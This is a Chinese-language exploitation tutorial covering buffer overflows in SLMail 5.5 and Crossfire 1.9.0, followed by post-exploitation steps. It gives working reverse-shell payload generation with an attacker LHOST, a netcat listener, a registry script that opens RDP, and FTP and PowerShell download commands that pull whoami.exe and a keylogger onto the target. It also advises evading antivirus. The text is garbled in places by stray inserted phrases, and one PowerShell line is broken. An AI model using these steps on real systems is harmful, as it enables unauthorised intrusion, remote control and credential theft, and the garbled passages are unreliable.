筆記內容參考安全牛課堂苑房間弘老師的KaliLinux滲透測試教程
所有漏洞的癥結都來自於資料的輸入,緩衝區溢位的原理在於資料與程式碼邊界模糊,當緩衝區邊界限制不嚴格時,因為變數傳入畸形資料或程式運作錯誤,致使緩衝區被“撐暴”,進而涵蓋了相鄰顯存區域的數據,成功更改顯存數據,可導致進程綁架,執行惡意程式碼,獲取伺服器控制權等後果。
為更能理解緩衝區溢位原理,參考筆者轉載的文章:
手把手教你堆疊溢位從入門到捨棄(上)
手把手教你堆疊溢位從入門到捨棄(下)
文章目錄
一、發現漏洞的方式(一)源碼審計
軟體開發人員,或則藉助社工等方法取得原始碼進行審查、調試。條件嚴苛,通常原始碼無法取得。
(二)逆向工程(ReverseEngineering)
借助逆向工程取得彙編原始碼進行剖析,彙編程式碼剖析工作量大,難度高。
#(三)模糊測試(Fuzzing)
是一種透過向目標系統提供非預期的輸入並監視異常結果來發覺軟體漏洞的方式,一般情況下會使用一個有效的輸入和添加隨機偏差來完成,須要利用軟體調試工具(如: ImmunityDebugger)。
二、模糊測試過程
首先要了解一些針對緩衝區溢位的安全保護技術,由於在模糊測試過程中要避開這種保護機制。
(一)Windows
測試軟體為’SLMail5.5.0MailServer’,其PASS指令存在緩衝區溢位漏洞。基本想法:(調試工具用ImmunityDebugger)
1.使用python腳本測試PASS指令接收到大量資料時是否會溢出,通常到3000個字元尚未出現溢出現象則說明該處應當不存在溢出漏洞。
2.發覺溢位漏洞後,判定EIP對應的位址,基本方式有:二分法、唯一字串法。惟一字串法可以藉助metasploit腳本usr/share/metasploit-framework/tools/pattern_create.rb3000產生。
#3.將EIP改為Shellcode對應的顯存位址,將Shellcode寫入到該位址空間,程式讀取EIP暫存器數值,將跳到shellcode程式碼段並執行。
4.透過調試工具發覺,發送的資料填充EIP後,緊接著會填滿ESP指向的空間,因而我們將Shellcode放在ESP的位置。
5.判定ESP位址到堆疊底部的距離linux防緩衝區溢位,也就是可以儲存Shellcode的大小。借助python腳本向軟體發送資料測試,透過調試軟體看有多少資料儲存在ESP指向的空間。現代電腦系統流程的顯存空間視圖如圖所示:
圖1流程的顯存空間視圖
6.由於ASLR機制,軟體每次執行函數呼叫堆疊的位址是隨機變化的,因而硬編碼不可行,變通思路在顯存中找尋位址固定的系統模組,在模組中找尋JMPESP指令的位址跳轉,再由指令間接跳到ESP,進而執行shellcode,借助mona.py腳本辨識顯存模組,搜尋「returnaddress」是JMPESP指令的模組,找出不受DEP、ASLR機制保護的系統模組!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb將組譯指令jmpesp轉換為二補碼為FFE4,在模組中搜尋FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在位址後,將此位址填入EIPlinux版qq,建構Shellcode,且移除壞字元:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b「x00x0ax0d
註:建構Shellcode時選擇的payload是reverse反向聯接,而不是直連bind,這樣可以避免防火牆的封堵策略。
7.最後開啟連接埠竊聽nc-vlp443,Shellcode執行結束後以ExitProcess方法退出整個進程,將造成簡訊服務崩潰,Slmail是一個基於線程的應用,適用ExitThread方法可以防止整個服務崩潰,可實現重複溢位:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”
附註:不同類型的程式、協定、漏洞,會將個別字符覺得是壞字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出現壞字符。傳送0x00—0xff256個字符,找出所有壞字符。使用metasploit腳本./msfencode可以編碼壞字元。
8.如果要進一步控制功擊目標,可以透過變更登錄機碼開啟遠端桌面,Windows中90%以上的設定都可以透過變更登錄機碼完成:
<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg
(二)Linux
測試軟體為’Crossfire’,1.9.0在接受入站socket連結時存在快取區溢位漏洞。基本想法同WindowsFuzzing(調試工具用edb),不再贅言,需注意以下幾點:
1.偵錯指令:edb--run/usr/games/crossfire/bin/crossfire
2.在驗證緩衝區溢位時發覺只有當payload固定4368位元組時能夠確切覆蓋EIP的值,這樣ESP指向的空間只剩下7個字節,不足以放下Shellcode,因而在edb中查找可以被資料完全覆蓋的暫存器,找到EAX,於是變通思路ESP跳到EAX執行Shellcode。
三、選擇與更改EXP
網路上有針對各類軟體早已公佈漏洞的借助代碼(EXP),我們可以選擇可信賴的EXP源,在此基礎上進行研究或更改,尤其是Shellcode不能輕易使用linux防緩衝區溢位,有可能帶有病毒linux系統應用,須要把握的程式語言一般包括Python、C、C 、Ruby等。幾個可靠的EXP來源:
領到EXP後,須要注意以下幾點:
四、後漏洞借助階段
包括上傳工具、提權、擦除功擊痕跡、安裝側門等進一步操作,這兒僅討論文件上傳操作,文件上傳是預置木馬、安裝側門的基礎,主要依據早已取得的目標操作系統的shell,進行檔案上傳操作。
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
以上是Linux滲透測試教學:手把手教你棧溢位從入門到放棄的詳細內容。更多資訊請關注PHP中文網其他相關文章!